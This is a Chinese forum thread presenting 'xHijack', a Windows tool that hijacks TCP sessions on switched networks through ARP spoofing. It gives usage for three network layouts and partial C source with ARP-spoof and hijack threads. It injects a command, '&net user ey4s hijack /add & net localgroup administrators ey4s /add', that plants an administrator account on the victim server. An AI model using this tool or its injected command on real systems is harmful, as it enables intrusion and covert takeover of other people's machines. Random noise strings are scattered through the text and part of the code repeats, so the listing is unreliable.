QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4226|回复: 8
打印 上一主题 下一主题

再谈交换环境下的会话劫持(For windows2000)

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 01:44 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
第一步是开启IP Routing的功能,修改注册表
; p1 X+ r. Z* ]HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。 * g% E( H2 I4 P$ L" Y0 p: F! i0 c
第二步是ARP欺骗,具体原理我就不说了。 0 u" P3 n# H+ T" `* x
第三步就是开始劫持啦。
9 M% a* w7 ?2 E2 u+ H0 ~2 C  s" D$ d* E9 R9 P& s1 e. t, d9 s; `. V7 X
我写了个程序xHijack可以实现第二、三步功能,使用如下: 2 I* k0 C( X3 r, s# F& }
  f+ {  F  j8 ~$ T4 s
Usage: xHijack ServerSide ClientSide ! w+ Y3 B  X/ v- B( |

$ c( k4 j+ e# P下面根据三种不同的情况分别说明如何输入参数:
; w, n: E( j" Y6 Y<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。
; a) Q, z% [7 ?* c假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可
% K0 O8 k9 _9 _) R$ |, E7 S/ mc:\>xHijack 192.168.0.2 192.168.0.3 0 E1 V4 }- O* t' K. k. i  c
劫持前数据流程:server <--> client
) }1 F2 @, ~' J1 L0 _+ W' s; N劫持后数据流程:server <--> hijacker <--> client
" k8 V6 N1 q; E2 T
7 q# I, w& }' G, z; f9 ?/ i& c<2>服务器、劫持者处于同一局域网,客户端处于别的网络。
& P( U- l! s9 w+ a3 m假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数 4 C% k% j3 D" x6 h; D3 J% t5 v
xHijack 202.202.202.2 202.202.202.1
; Q; H4 I9 k. Y+ Q劫持前数据流程:server <--> gw <--> routes <--> client 3 H* P! ?. c* ]7 s  M# q
劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client
6 [1 U' d6 U3 t* j& A/ P) r* C+ N/ H( k5 {) X
<3>客户端、劫持者处于同一局域网,服务器处于别的网络。
6 f* T. A) [' H" I假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数 3 q( z  W# N/ \$ D, \1 _
xHijack 192.168.0.1 192.168.0.2 5 s, t1 g$ W/ m( {& Y
劫持前数据流程:client <--> gw <--> routes <--> server
# V0 K) K2 K. z7 H, t3 p( M劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server
& n" l, |: p6 N0 d0 |
& m$ ^4 _2 k% k7 m输入两个参数后,会提示你选择网卡,然后会提示 - v1 v' M% U0 n7 k' q
l        <-- List all connections
: J, T$ J: t- t$ W8 ?+ [: F9 er x       <-- Reset the number x connection
) J6 x- t/ x% J% D) w( d6 ]. \0 Yw x       <-- Watch the number x connection " E7 y  X9 O4 o# X+ l* W
h x command   <-- Hijack the number x connection to execute command , ]8 Y5 _# u+ {  ^
) f& r, {0 q0 j
list、reset、watch命令我就不解释了。 ! m. K3 P5 V1 v2 \' p2 P1 X( s
假如现在有如下连接 ' B% \+ F. `" @! @* e$ Z. R$ Z5 D4 g
(1) 202.202.202.202:23 <--> 192.168.0.3:2345
7 ]5 J7 b. A* t: T5 m& V" {我们想要劫持这个连接运行我们的命令,输入
0 ]3 o. K0 F. h- P& zxHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
4 d; s; P: T8 y! O$ n为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是
. B8 U9 p/ p% opnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令
/ I, a7 Q5 k! A: ]3 l都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。
% E5 F! w0 y6 m2 I
1 r8 \5 J$ P2 ^0 {$ _- v- ~. k9 F劫持的流程如下:
: y  @- O! i$ G) }<1>伪装成Server给Client发一个rst包 ' R" {) C: R: c/ _5 o6 z! H, \
<2>伪装成Client给Server发了一个数据包
+ i8 N  H6 s! h! u: C<3>Server回一个ACK包给client , X2 V0 ]! T; P  g2 U
<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server $ {9 A4 u- T' n0 A9 P
6 s" f. o; S: B* S. y
这样的话,我们只能发一个伪造的包,但我想已经足够了。 ) h$ }: h3 g4 G: J( l
想要一直劫持那个连接也可以,如下
8 |. D  N2 D$ v2 G<1>伪装成Server给Client发一个rst包
8 Z( i& q) w3 D' i6 M% M9 n+ \<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA 2 U0 |5 j, n' ^4 ]$ m0 {. \+ c
<3>伪装成Client给Server发了一个数据包 ! v, X1 x& x( ^! p# H3 ^7 X
<4>Server回一个ACK包给client ) }; A0 N7 }4 y/ C" l7 R6 M
<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。
% x% S7 P: D6 Q( P. e  ~, L! V<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。
* N& t8 C* ~* O+ ~% }/ c. }: D1 T4 F+ Q- h; H* I" b3 G  l, V* D4 l" H
不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。
% l6 Q/ @# N7 `
$ j& y1 z2 b$ M8 A+ w0 F  k# K9 q. f
刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题, $ W  B+ X+ Y' s. N
还请各位多多指点。 ) Q! Y) z6 D6 ^

8 `$ V/ [2 d4 ]4 Y2 D& s7 b/ C0 ]BTW:我没有空间,编译好的程序没地方放:(
; P% q; M7 o+ I9 j! x. y* O) C! O) J7 z: r& l

2 S# X6 V' `) u, X
- z: r* N0 u4 {- p参考资料 $ N. E# U2 y* w( B( v4 W( @& z' `
<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375 1 @5 A; `* J7 W6 x- S
<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377 0 z/ v! W4 o# M9 M9 u
' u0 P* A4 h. F
9 ^: i' _2 B% t; F0 s
以下是程序代码 0 G0 B& W, S" A2 K. J6 i
----------------------------------------------------------------------
9 Q$ O, c/ s# {' q8 t) N1 F/*-----------------------------------------------------------------------------
) n% {1 d3 a: C2 jFile      : xHijack.c
6 b. ^, W* W4 O; A+ yVersion      : 1.0
/ M( _, J( k7 KCreate at    : 2002/8/12
4 u2 `7 v9 A/ d5 z% j& VLast modifed at  : 2002/8/19 / e. U& j- P% U4 N$ Z
Author      : eyas
. A7 W1 g! v1 k: Z5 iEmail      : ey4s@21cn.com 7 l) t5 c! S7 p8 V- E
HomePage    : www.ey4s.org
9 i2 l. G, \& X: d+ H5 e9 ?感谢refdom和shotgun发布的源代码,使我获益非浅。
6 d/ H7 o1 Y$ s  }. MIf you modify the code, or add more functions, please email me a copy. 4 V7 b! t" _- ~7 k6 p9 X

6 d7 N) ^3 N5 f- d6 m备注:
9 A' @% P  }$ n2 f$ }<>没有考虑IP头、TCP头超过20字节的情况 8 |/ ]- Y$ I& m0 O# ~0 u& h
<>没有考虑数据包分片的情况
: D  s& H: O- Z- z<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了 8 T% W* ~; q' K3 L" M6 V
显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问
) _" G+ b; V1 `" W! D0 Q% k题了。
+ n, P  g9 h( S( o# y% X: |7 B: F+ t. D8 |0 v+ b: W, d9 p& c
也许下一版本会修正这些问题,也许不会有下一版本了。
6 E8 O) H- M  U. u9 e( K
* S2 b& E- u4 q8 F; f( L8 t-----------------------------------------------------------------------------*/ . e" F& F0 n) i0 s1 L2 K# _% c9 l! _
#include : o% \3 ?9 c6 a6 j; [; b
#include - F0 K5 H: b0 A0 F0 f
#include 8 N7 G3 o7 a/ A' q& j& _- [9 h
#include
. a# j+ i' d. v7 Y- |2 ~7 h#include
2 F6 z4 H3 ^8 `/ y#include
* R5 D2 w3 d: k, T#include
# Y- N; K% N- T3 z/ f
  y% H  ?/ ^" V#pragma comment (lib, "packet")
0 U$ b& m! |- f1 H#pragma comment (lib, "iphlpapi")
/ Y7 s6 |' q7 w: o) m#pragma comment (lib, "ws2_32")
9 l$ g) ]* s- g+ {' I2 K
/ N5 P5 L0 r9 ^" m& W#define Max_Num_Adapter 10 ) h0 {! J+ O3 P7 X0 a' h" k' `
#define Max_Num_IPAddr  5
' x8 @6 J/ N) V# w6 r, _#define EPT_IP      0x0800      /* type: IP  */
5 I3 W4 u- W0 H' K#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
! d, K: ?6 |, Q: n: @#define EPT_ARP      0x0806      /* type: ARP */ 6 H4 l6 @( N6 S9 Z4 K
* V% q8 x. u6 m2 |; b" |6 t
#define  ACTION_NONE    0
7 d; o  i- g$ B- C9 f, s; P" f9 m#define  ACTION_WATCH  1 " H$ E+ O" Q+ O8 r) U% e
#define  ACTION_RESET  2
; S# w; C1 v( ~& }' u1 l#define ACTION_HIJACK  3
: l( B& ]" C5 u4 T4 [2 F( {$ ]* k. d* I" z- ~2 I8 O0 ?
/*以1字节对齐*/ , a, ~. `. o8 g% H' Y$ }
#pragma pack(1) 3 E- r" l4 w" w5 I; |& \: _
typedef struct _ehhdr + H4 k0 @- g/ _/ I; k
{ ! V1 E$ m) l- I% L- o% t$ `
  unsigned char  DestMAC[6]; 7 o; o2 f2 b6 j
  unsigned char  SourceMAC[6];
3 T1 N  B8 C3 Y; l  unsigned short  EthernetType; & X! z3 f: s& C7 y8 T9 p/ c
}EHHDR, *PEHHDR; + Z" e6 Q0 L3 ^5 Y: B
4 b/ Q8 r; ^# u" x$ B6 l
typedef struct _iphdr        //定义IP首部
, x& j1 r0 l2 a9 Y$ g7 W{ 1 M0 L6 i- H) s  l" v0 s' b
  unsigned char h_verlen;      //4位首部长度,4位IP版本号 $ V0 p% ?1 m$ h9 ?* ]
  unsigned char tos;        //8位服务类型TOS ' A5 h1 d- n( ]7 d4 o8 @7 c
  unsigned short total_len;    //16位总长度(字节)
2 ]4 A  C/ f, ]2 w9 V  unsigned short ident;      //16位标识 & z' S) U) }' {+ h8 `+ n# k6 r/ T  z
  unsigned short frag_and_flags;  //3位标志位 # U' p) J9 h3 {
  unsigned char ttl;        //8位生存时间 TTL 5 `7 [( d( D% A# L
  unsigned char proto;      //8位协议 (TCP, UDP 或其他)
# M' I: L6 C- _  unsigned short checksum;    //16位IP首部校验和 ; y! Z8 Y7 p; U1 y
  unsigned int sourceIP;      //32位源IP地址
5 X& w/ Y0 n1 ?& e  unsigned int destIP;      //32位目的IP地址
8 ?1 ^& b: y) H- g; u}IPHDR, *PIPHDR; & R; Y5 @5 H8 w# F
) Z2 g7 Z- L* h+ ?1 e! Q
typedef struct _tcphdr        //定义TCP首部
) |: D. c' G  _0 z) U6 X{ + {1 r* `( A2 i- B! i9 @
  USHORT th_sport;        //16位源端口 7 D! [7 Q  V* x! u
  USHORT th_dport;        //16位目的端口 4 w- D. G7 j1 s3 ~1 }
  unsigned int th_seq;      //32位序列号 8 R( A7 \* a7 i$ ~1 g
  unsigned int th_ack;      //32位确认号
. ]5 ^' t/ s6 Z) J  unsigned char th_lenres;    //4位首部长度/6位保留字
5 X4 l! g: N3 x  unsigned char th_flag;      //6位标志位
' Q! F0 T  g0 U- S  USHORT th_win;          //16位窗口大小
8 J+ j; I. }6 @  USHORT th_sum;          //16位校验和
: e2 y8 L8 Y5 V2 l: T  USHORT th_urp;          //16位紧急数据偏移量 + o% O- K! ^3 k
}TCPHDR, *PTCPHDR; ) d, h+ K' T! }* y- j

; M9 p! X. W# Q! htypedef struct _psdhdr        //定义TCP pseudo header
/ T) c% P* ~0 W2 u1 B" Y0 @, d{               9 f, v! K# q, N6 I  n
  unsigned long saddr; 1 r7 Y: R2 Z. @" c/ o
  unsigned long daddr;
. B) \0 V' G- t/ L% \1 l  char mbz; ; h% Z6 V. L' y
  char ptcl;
' ]! s* U) t' E; d  unsigned short tcpl; 5 M$ n+ a6 M; D3 q. Q) n! v$ v
}PSDHDR, *PPSDHDR;
0 {& p. j& T3 f6 e/ O( x
- _# m: t) ]2 A5 N  n; |typedef struct _arphdr 1 p$ T, {4 y# D# x! y- ~; Q
{
) }, I7 j" J& K/ S  unsigned short  HrdType;//硬件类型 # ?! b) Q) m1 J& N: p
  unsigned short  ProType;//协议类型 8 D  \1 n! c/ t0 M
  unsigned char  HrdAddrlen;//硬件地址长度 + \( Q" [; I/ n: I( A* q+ ?
  unsigned char  ProAddrLen;//协议地址长度 8 o% K7 o' |& [
  unsigned short  op;//operation ' g5 d1 T$ H4 w2 `" o
  unsigned char  SourceMAC[6];/* sender hardware address */
2 W7 Z. n* k0 L9 `( ?+ c  unsigned long  SourceIP;/* sender protocol address */
- ?, q+ W9 a8 |7 B+ o% d, ^) V- U, C  unsigned char  DestMAC[6];/* target hardware address */
: e% H& ^% K2 W  unsigned long  DestIP;/* target protocol address */
9 K% f! M# S; n  @# T; K}ARPHDR, *PARPHDR; 4 E* n$ c) R5 i7 y( o) v

; f% M) b5 T5 w9 z" Etypedef struct _ArpPacket
8 e) }6 f: H* f) m5 i{
$ A* i, i5 ^8 r* \- z* L0 a5 U  EHHDR  ehhdr;
" J& S8 C& T, j! ]3 j8 P& C  ARPHDR  arphdr;
# G$ D/ P1 v- a& G; {+ d9 k( `}ARPPACKET, *PARPPACKET; & F6 g% X. s* v& v# B
  X0 x+ \$ y, A  G3 U& `
typedef struct _tcppacket
0 A% `$ e! @  g( l{
4 X5 q: [( K# _- F. |  EHHDR  ehhdr;
7 L2 }$ N' J9 l% z) ~2 a* s* J  IPHDR  iphdr; 0 D, v$ g- p' Y6 V
  TCPHDR  tcphdr; 7 h6 b8 O- Q/ ]( m
}TCPPACKET, *PTCPPACKET; ! F( t* R0 d2 V

: {3 y' m- I& u; g; R! T% s9 u; Btypedef struct _conninfo
9 w  ~, x; S3 a8 k: B/ ]/ \{ ) [( b1 L3 W$ X3 {9 U  Z! b
  DWORD  dwServerIP;
  H( D# l3 a) r% _  USHORT  uServerPort; 3 y& G* ^  O& F* c
  DWORD  dwClientIP;
5 r5 c. y- {# |4 H1 S  USHORT  uClientPort;
1 j8 a; F% g3 q5 N# M! m% A  DWORD  ident;//标识
$ G. E$ Q! c& k6 B  BOOL  bActive; 7 j6 b3 e- M# ^+ L4 @( o
  struct  _conninfo  *Next; 9 ^% m& L+ e# ]: l$ p
}CONNINFO, *PCONNINFO;
# G* L; q. a' L; v% l, g  d0 n0 {+ U- t8 E/ J
//定义全局变量
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP,
% R; `0 c2 z* n3 b        g_ClientSideIP,
* ]  c& X- \5 l* f& W0 O% V6 g3 E        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
+ o5 D9 F6 v4 j; F+ n        g_TotalIP = 0;//
5 m4 x) [8 I/ B6 v, O) Xunsigned char  g_szOwnMAC[6];//本机MAC地址 ! r0 M( m3 }% {/ n. @
unsigned char  g_szClientSideMAC[6]; # J; b' E- J( r7 X* M" H7 x
unsigned char  g_szServerSideMAC[6];
5 Q4 }( S  L$ j  a+ J4 j9 K( Lchar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 % k* s, M. x/ m2 u+ X& \
LPADAPTER    g_lpAdapter; ' H& k( {8 ~5 O% c9 n
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
2 X+ k+ F- \: C" v0 d8 dHANDLE      g_hThread[4]; , V  G+ H$ h, ?0 Z
char      g_szCommand[128];//command to execute after hijack ) d, Z3 U7 ~) t
DWORD      g_dwAction;//action type 2 I4 G+ P; E0 P) u9 S5 Q1 A0 r
DWORD      g_dwCtrlConn;//action 所控制连接的标识
# u* J. e# y% D/ w5 t- L+ A$ KDWORD      g_ident;//节点标识,递增 * Z+ D% O+ W5 u, o" U# ?( K7 n5 v/ X
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 5 ?4 i% {6 ~  z( H1 n
        g_pConnHead = NULL,
0 R3 W( r2 U; c8 ?( v" o& {        g_pConnLast = NULL;
7 J& G2 O, o3 e. q: zchar      g_szSendPacketBuf[1514];
) D1 t9 @: k( wLPPACKET    g_lpSendPacket; . M. ~; M6 R* s; F$ G4 ]$ ~
//函数
  B7 C. a9 L' |* S! I# mvoid      usage(void); & R  o2 k* Q. V6 B
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); 1 {: N2 a/ a7 z+ f4 ]
void      ListAllConnection();//列出当前所有的连接 % |- f, r& c& S+ o* r
void      ResetActionAllFlag(); & A# U& D- b: C1 d* t- ~! _% f
USHORT      checksum(USHORT *, int);
% t0 z3 U6 _: R; E: LBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 6 C- i4 {& {/ h7 b6 N
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
- j8 B7 R6 Z, D' \/ SLPADAPTER    InitAdapter();//初始化一些参数和全局变量 - z) u4 o6 a4 t! x$ o9 @0 Z! C
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包 9 l  b" k; A; m. f: s
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
/ f9 |; K% a6 _. e- cDWORD      GetConnNum(char *, DWORD, DWORD *); ( }8 [1 {) c$ l1 l
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
% [. k, Q, r4 a4 I' Z2 ]2 vDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数   t" i& @. n6 l' o3 Z
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 ; n6 |' F. T2 O
DWORD  WINAPI  InterfaceThread(LPVOID);// 5 G. u7 C& f+ y5 h9 E
BOOL  WINAPI  CtrlEvent(DWORD); + O/ P8 W& @9 e8 b: |2 R% ~
+ [9 w1 g; P8 `1 \: ]2 L
9 Q! y, ]4 Z5 |- K
$ m6 v2 X, }6 A: w6 O8 D  a/ n
int main(int argc, char **argv)
; s( w- \, L% j- S' B{ + S3 @( h9 j# M3 [# `
  struct    bpf_stat stat; ) c+ Y2 F' X* W
  int      i; ! M/ o0 B5 ^  f0 H+ a1 K+ E6 w% r9 \  a( n
; y! O" D, L) W
  usage();
- K# u$ D, K% v6 A% i2 G  V* G  if (argc != 3) return 0; ! ~0 n% c$ k. i0 x& }2 P! U7 S
  //取得参数 ( A: C) I% b2 `3 M7 O
  g_ServerSideIP = inet_addr(argv[1]);
& n" O% Q8 G/ }+ R: Z  g_ClientSideIP = inet_addr(argv[2]);
, I3 _; u0 w6 c/ E0 R' C& f7 @  //初始化adapter & 一些全局变量 6 u# |/ W  j8 s
  g_lpAdapter = InitAdapter(); ' V2 h5 W1 D7 K4 ], d. a
  if(!g_lpAdapter) return 0; ' v- V7 X; t; H' |" P. C  i* _0 i
  //get ServerSide MAC & ClientSide MAC 4 n1 P1 V5 M, A! W, F; V
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
) R9 l) m* i$ M& f+ g  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
+ c9 Y& ^; y. a7 z  //create arp spoof thread     
. b8 _  m. j. W$ q2 t, S) A  i = 1; ( t1 M$ F4 I/ |0 l! R
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); ! b+ j) ^3 O4 u" S" |
  Sleep(500); - g' H  |- S& c# ?8 ^
  i = 2; 4 a- i* Q+ y; I8 n
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
) ^, W9 N. R. _' |  //create analyse packet thread
- a% ^8 T' `; f  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0); 7 A/ y! e. z3 k
  //create interface thread
% W+ \, w: a" S& t3 Y) @6 t9 a, C! }, ^  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); % M1 o5 c6 B2 X1 s$ @
  //set console ctrl handle
' g- e, j6 z: K* D* a% x  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
7 K/ \$ t5 w; {4 f4 K  { - c# X! q1 h. s- k& l  M" U, g2 f
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
' J5 a: n- R7 p$ S6 l8 e/ `    return 0; * ?& q' x0 q, d/ c: \/ i6 v
  } , ]! @' l- g! O  i3 e
  //wait for any thread exit
; X* m- f5 j# n- y( _! v  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
3 h2 R% b' t2 x) C  //print the capture statistics
( p" Y8 g, d6 _3 _9 X: j7 t9 W, K  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
. k+ v+ ?6 z5 T0 o* h: M( _    printf("Warning: unable to get stats from the kernel!\n"); , U- G$ Y, ]! u* a3 M/ i
  else   J2 m: k+ `0 U& t7 R, C
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); # N5 ^8 z( d; {' `  x8 y0 X
  //free resource   $ Z$ e6 [, C1 g: ^. H! L5 X
  PacketFreePacket(g_lpSendPacket);
6 G/ Q& x, B4 m. |1 P# h' t# t  PacketCloseAdapter(g_lpAdapter); 5 U5 h" f) A( X% J" s9 J" L8 e
  return 0;
5 v6 L# r9 `$ P% b}
: b. l3 E7 E" X( ^- U* y: \4 G) M
// $ J3 B) \7 X; O* {* t) b! d% Z( ?
//功能:重置所有于ACTION有关的标志 % m3 M( Q) G. W: L5 l
//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP,
$ h: S; i$ p- d4 t: J        g_ClientSideIP,
1 q( S, h1 r% X; M  _        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表 9 A  L4 F6 F$ V! q  u* k* ]" K
        g_TotalIP = 0;//
) P8 D0 T5 v1 k5 Z2 U, o5 funsigned char  g_szOwnMAC[6];//本机MAC地址 8 v0 Y* H. o! s4 `6 n
unsigned char  g_szClientSideMAC[6];
' l% F, n0 P  [  x9 runsigned char  g_szServerSideMAC[6]; 0 a, ?! `% b: J0 u
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
4 L5 c7 V! `& c- c3 n$ [LPADAPTER    g_lpAdapter; 1 `9 D5 r/ N* N0 V, J
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread % @9 l$ ^" w$ {& A+ ]$ l
HANDLE      g_hThread[4];
  e& n) J3 e# g) X# \char      g_szCommand[128];//command to execute after hijack " v5 k3 e- O* r) r3 ]+ `: e# H
DWORD      g_dwAction;//action type 9 ?. w, t) l+ m" @- U+ ?
DWORD      g_dwCtrlConn;//action 所控制连接的标识
3 T- j% ~! }3 i2 G9 g  S+ LDWORD      g_ident;//节点标识,递增
; B. y7 b7 y7 D) F1 P& d' aPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 : e( m1 }9 c: I  v' ?& i6 e, u
        g_pConnHead = NULL, # v0 S5 u. ?; m/ S
        g_pConnLast = NULL;
. D' y5 o  q, L" O0 y- xchar      g_szSendPacketBuf[1514]; % `" s  Q6 O/ P# R3 O# v, P& o8 U5 D
LPPACKET    g_lpSendPacket; # R. C% N/ ~6 L
//函数
% J& q4 \8 q. |; P0 \4 Fvoid      usage(void);
7 P/ a/ j9 A( c0 H6 K* E2 Vvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
" P) N7 b3 d* [( K* Qvoid      ListAllConnection();//列出当前所有的连接 $ I  A2 c8 {1 M! }
void      ResetActionAllFlag();
5 ^; C" `: O, qUSHORT      checksum(USHORT *, int); 8 c1 v$ L+ T* G) s# I9 ^
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 / f8 s' @' n- y) v, o) F! B
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 ; n' t4 D0 ]% ?1 r  b
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
1 F1 p3 l0 L+ k, u  N: yBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
* b# A4 a% M& y6 a9 nBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
' U$ C& t" d; B: Z1 J$ S6 rDWORD      GetConnNum(char *, DWORD, DWORD *);
* k8 Q5 q: t5 {! ]8 N8 aDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
( G: z% W% ]" m9 m' z& `; ?) hDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
) m7 {) }$ F9 l) HDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
5 ^1 j# y* ^7 {5 x: TDWORD  WINAPI  InterfaceThread(LPVOID);// 9 B$ E" M9 |9 Z% C3 o
BOOL  WINAPI  CtrlEvent(DWORD);
  s6 W$ {4 a' ^9 k8 U4 S- P" v* R: X8 V, B+ z
( V+ r. Y( M0 i: o; n
* s- O  Y" [! z  @6 F
int main(int argc, char **argv)
, p: w$ u4 C4 a{ 3 \7 h' ?4 t5 @
  struct    bpf_stat stat; ' q, ]% u( z; M& D$ w: V  _8 i
  int      i;
! q1 v' I. A4 p$ u( C9 q! ~4 A, e8 c5 @; e
  usage(); # B. j* {1 ^3 y0 U6 [( x3 S5 t, E
  if (argc != 3) return 0; ! i) H  d; S( V' }5 i* I5 M
  //取得参数 0 F( n; a( {' ^
  g_ServerSideIP = inet_addr(argv[1]); 4 W  a4 o9 }, N8 d
  g_ClientSideIP = inet_addr(argv[2]);
6 _9 N0 b' @+ T' Y) c  //初始化adapter & 一些全局变量
; S; Z! ?/ I2 X. M  g_lpAdapter = InitAdapter();
! W7 k6 O4 V# ?) \  if(!g_lpAdapter) return 0;
/ q; d* k# ]2 A4 Z$ e( B  //get ServerSide MAC & ClientSide MAC
( c$ F  ~  H  x( X8 v  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0; . M9 Y: A: c9 {+ z  C3 w
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0; . M) v1 \1 w) O9 p6 K$ h
  //create arp spoof thread     
& [9 ^# n- C* V' L! h  i = 1; . i% R$ A3 k' x  R) ?  j. d
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
# o; Z7 D& e1 v" R4 m  Sleep(500); 5 ~, N0 l5 |8 H+ y
  i = 2; * h8 j4 n0 m5 ^
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  c0 ]4 J/ C) E: F- ^  //create analyse packet thread , ~% O; w$ S$ ]$ l* i
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0); 6 |0 x) s' t( L6 j9 [
  //create interface thread 1 F( X6 [+ M" z. X
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); + A" S1 F0 P$ J" I
  //set console ctrl handle ! I- _1 W: N+ N  o8 e1 k) ?, z
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) 3 |0 U( w! I4 |% d6 C
  { : u9 ~0 q. e4 k5 W
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
- s0 k5 ]# q; Y" x5 m7 _    return 0; ) }: ]4 s3 g$ Q; q7 v
  }
9 A/ b; |5 y- c$ s$ A' s  //wait for any thread exit ) I- A9 }) f( F* G+ @$ m: w( t, j5 N# b
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); + D8 [; b( W; X: w9 O/ x- G+ P
  //print the capture statistics
) f: `4 }! B" T, {- s  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) / A7 \: ?2 P7 h, t8 j9 C" _$ T
    printf("Warning: unable to get stats from the kernel!\n");
9 ~' \! b5 M3 n/ P+ S# a) v' I0 O  else
5 e6 j9 B; t$ `" T( o    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); ( ?& f: M4 Q# u8 a- `
  //free resource   
0 t  E4 _7 d6 I& I1 g! a0 ^  PacketFreePacket(g_lpSendPacket);
; ~/ c% |5 z$ v1 u  PacketCloseAdapter(g_lpAdapter); , ?# W+ m4 T. F+ x: u) W2 J
  return 0;
6 ~8 o+ w$ c3 L' k. p% j}
' [" ^1 ?2 E6 q4 n' ^1 R: M% U' h- e+ z: u6 h( Z
//
: K, P0 Q/ C0 F- D- |/ t//功能:重置所有于ACTION有关的标志
" \7 U/ X, e# d) q0 h9 X! ], J& b//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

void ResetActionAllFlag() $ x$ {' e6 M0 K) j- x- Y
{
  s9 Z7 q  Y" B1 z  g_dwCtrlConn = 0; $ ]- @, M* ]1 t& E8 {; c* n# R
  g_pCurrCtrlConn = NULL; - I# v- m) |  G% H' l: Z) M9 c
  g_dwAction = ACTION_NONE; 9 g! V/ R: V9 o& h0 D+ F/ D, K
}
